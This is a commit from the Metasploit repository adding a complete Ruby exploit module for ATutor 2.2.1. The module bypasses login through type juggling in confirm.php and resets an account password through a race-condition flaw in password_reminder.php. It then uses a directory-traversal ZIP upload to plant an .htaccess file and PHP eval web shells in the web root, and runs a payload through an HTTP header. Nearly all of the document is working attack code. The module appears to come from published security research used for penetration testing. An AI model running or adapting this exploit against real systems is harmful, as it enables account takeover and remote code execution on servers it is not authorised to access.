Land #6698, Add ATutor 2.2.1 Directory Traversal Exploit
commit
85ab9d38f7
|
@ -0,0 +1,360 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP
|
||||
setup with display_errors set to On, which can be used to allow us to upload a malicious
|
||||
ZIP file. On the web application, a blacklist verification is performed before extraction,
|
||||
however it is not sufficient to prevent exploitation.
|
||||
|
||||
You are required to login to the target to reach the vulnerability, however this can be
|
||||
done as a student account and remote registration is enabled by default.
|
||||
|
||||
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities
|
||||
in order to bypass the authentication:
|
||||
|
||||
1. confirm.php Authentication Bypass Type Juggling vulnerability
|
||||
2. password_reminder.php Remote Password Reset TOCTOU vulnerability
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
|
||||
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory
|
||||
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory
|
||||
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory
|
||||
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
{
|
||||
'DisableNops' => true,
|
||||
},
|
||||
'Platform' => ['php'],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
'DisclosureDate' => 'Mar 1 2016',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
||||
OptString.new('USERNAME', [false, 'The username to authenticate as']),
|
||||
OptString.new('PASSWORD', [false, 'The password to authenticate with'])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def check
|
||||
# there is no real way to finger print the target so we just
|
||||
# check if we can upload a zip and extract it into the web root...
|
||||
# obviously not ideal, but if anyone knows better, feel free to change
|
||||
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)
|
||||
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)
|
||||
if student_cookie != nil && disclose_web_root
|
||||
begin
|
||||
if upload_shell(student_cookie, check=true) && found
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
end
|
||||
else
|
||||
# if we cant login, it may still be vuln
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
else
|
||||
# if no creds are supplied, it may still be vuln
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def create_zip_file(check=false)
|
||||
zip_file = Rex::Zip::Archive.new
|
||||
@header = Rex::Text.rand_text_alpha_upper(4)
|
||||
@payload_name = Rex::Text.rand_text_alpha_lower(4)
|
||||
@archive_name = Rex::Text.rand_text_alpha_lower(3)
|
||||
@test_string = Rex::Text.rand_text_alpha_lower(8)
|
||||
# we traverse back into the webroot mods/ directory (since it will be writable)
|
||||
path = "../../../../../../../../../../../../..#{@webroot}mods/"
|
||||
|
||||
# we use this to give us the best chance of success. If a webserver has htaccess override enabled
|
||||
# we will win. If not, we may still win because these file extensions are often registered as php
|
||||
# with the webserver, thus allowing us remote code execution.
|
||||
if check
|
||||
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")
|
||||
else
|
||||
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")
|
||||
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")
|
||||
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
||||
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
||||
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
||||
end
|
||||
zip_file.pack
|
||||
end
|
||||
|
||||
def found
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),
|
||||
})
|
||||
if res and res.code == 200 and res.body =~ /#{@test_string}/
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def disclose_web_root
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),
|
||||
})
|
||||
@webroot = "/"
|
||||
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /
|
||||
if @webroot != "/"
|
||||
return true
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
||||
def call_php(ext)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),
|
||||
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
||||
}, timeout=0.1)
|
||||
return res
|
||||
end
|
||||
|
||||
def exec_code
|
||||
res = nil
|
||||
res = call_php("pht")
|
||||
if res == nil
|
||||
res = call_php("phtml")
|
||||
end
|
||||
if res == nil
|
||||
res = call_php("php4")
|
||||
end
|
||||
end
|
||||
|
||||
def upload_shell(cookie, check)
|
||||
post_data = Rex::MIME::Message.new
|
||||
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")
|
||||
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")
|
||||
data = post_data.to_s
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'h' => ''
|
||||
}
|
||||
})
|
||||
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")
|
||||
return true
|
||||
end
|
||||
# unknown failure...
|
||||
fail_with(Failure::Unknown, "Unable to upload php code")
|
||||
return false
|
||||
end
|
||||
|
||||
def find_user(cookie)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),
|
||||
'cookie' => cookie,
|
||||
# we need to set the agent to the same value that was in type_juggle,
|
||||
# since the bypassed session is linked to the user-agent. We can then
|
||||
# use that session to leak the username
|
||||
'agent' => ''
|
||||
})
|
||||
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/
|
||||
if username
|
||||
return username
|
||||
end
|
||||
# else we fail, because we dont know the username to login as
|
||||
fail_with(Failure::Unknown, "Unable to find the username!")
|
||||
end
|
||||
|
||||
def type_juggle
|
||||
# high padding, means higher success rate
|
||||
# also, we use numbers, so we can count requests :p
|
||||
for i in 1..8
|
||||
for @number in ('0'*i..'9'*i)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "confirm.php"),
|
||||
'vars_post' => {
|
||||
'auto_login' => '',
|
||||
'code' => '0' # type juggling
|
||||
},
|
||||
'vars_get' => {
|
||||
'e' => @number, # the bruteforce
|
||||
'id' => '',
|
||||
'm' => '',
|
||||
# the default install script creates a member
|
||||
# so we know for sure, that it will be 1
|
||||
'member_id' => '1'
|
||||
},
|
||||
# need to set the agent, since we are creating x number of sessions
|
||||
# and then using that session to get leak the username
|
||||
'agent' => ''
|
||||
}, redirect_depth = 0) # to validate a successful bypass
|
||||
if res and res.code == 302
|
||||
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
||||
return cookie
|
||||
end
|
||||
end
|
||||
end
|
||||
# if we finish the loop and have no sauce, we cant make pasta
|
||||
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")
|
||||
end
|
||||
|
||||
def reset_password
|
||||
# this is due to line 79 of password_reminder.php
|
||||
days = (Time.now.to_i/60/60/24)
|
||||
# make a semi strong password, we have to encourage security now :->
|
||||
pass = Rex::Text.rand_text_alpha(32)
|
||||
hash = Rex::Text.sha1(pass)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),
|
||||
'vars_post' => {
|
||||
'form_change' => 'true',
|
||||
# the default install script creates a member
|
||||
# so we know for sure, that it will be 1
|
||||
'id' => '1',
|
||||
'g' => days + 1, # needs to be > the number of days since epoch
|
||||
'h' => '', # not even checked!
|
||||
'form_password_hidden' => hash, # remotely reset the password
|
||||
'submit' => 'Submit'
|
||||
},
|
||||
}, redirect_depth = 0) # to validate a successful bypass
|
||||
|
||||
if res and res.code == 302
|
||||
return pass
|
||||
end
|
||||
# if we land here, the TOCTOU failed us
|
||||
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")
|
||||
end
|
||||
|
||||
def login(username, password, check=false)
|
||||
hash = Rex::Text.sha1(Rex::Text.sha1(password))
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'vars_post' => {
|
||||
'form_password_hidden' => hash,
|
||||
'form_login' => username,
|
||||
'submit' => 'Login',
|
||||
'token' => '',
|
||||
},
|
||||
})
|
||||
# poor php developer practices
|
||||
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
||||
if res && res.code == 302
|
||||
if res.redirection.to_s.include?('bounce.php?course=0')
|
||||
return cookie
|
||||
end
|
||||
end
|
||||
# auth failed if we land here, bail
|
||||
unless check
|
||||
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
def report_cred(opts)
|
||||
service_data = {
|
||||
address: rhost,
|
||||
port: rport,
|
||||
service_name: ssl ? 'https' : 'http',
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
post_reference_name: self.refname,
|
||||
private_data: opts[:password],
|
||||
origin_type: :service,
|
||||
private_type: :password,
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
login_data = {
|
||||
core: create_credential(credential_data),
|
||||
status: Metasploit::Model::Login::Status::SUCCESSFUL,
|
||||
last_attempted_at: Time.now
|
||||
}.merge(service_data)
|
||||
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def exploit
|
||||
# login if needed
|
||||
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)
|
||||
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
|
||||
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
|
||||
print_good("Logged in as #{datastore['USERNAME']}")
|
||||
# else, we reset the students password via a type juggle vulnerability
|
||||
else
|
||||
print_status("Account details are not set, bypassing authentication...")
|
||||
print_status("Triggering type juggle attack...")
|
||||
student_cookie = type_juggle
|
||||
print_good("Successfully bypassed the authentication in #{@number} requests !")
|
||||
username = find_user(student_cookie)
|
||||
print_good("Found the username: #{username} !")
|
||||
password = reset_password
|
||||
print_good("Successfully reset the #{username}'s account password to #{password} !")
|
||||
report_cred(user: username, password: password)
|
||||
student_cookie = login(username, password)
|
||||
print_good("Logged in as #{username}")
|
||||
end
|
||||
|
||||
if disclose_web_root
|
||||
print_good("Found the webroot")
|
||||
# we got everything. Now onto pwnage
|
||||
if upload_shell(student_cookie, false)
|
||||
print_good("Zip upload successful !")
|
||||
exec_code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
=begin
|
||||
php.ini settings:
|
||||
display_errors = On
|
||||
=end
|
Loading…
Reference in New Issue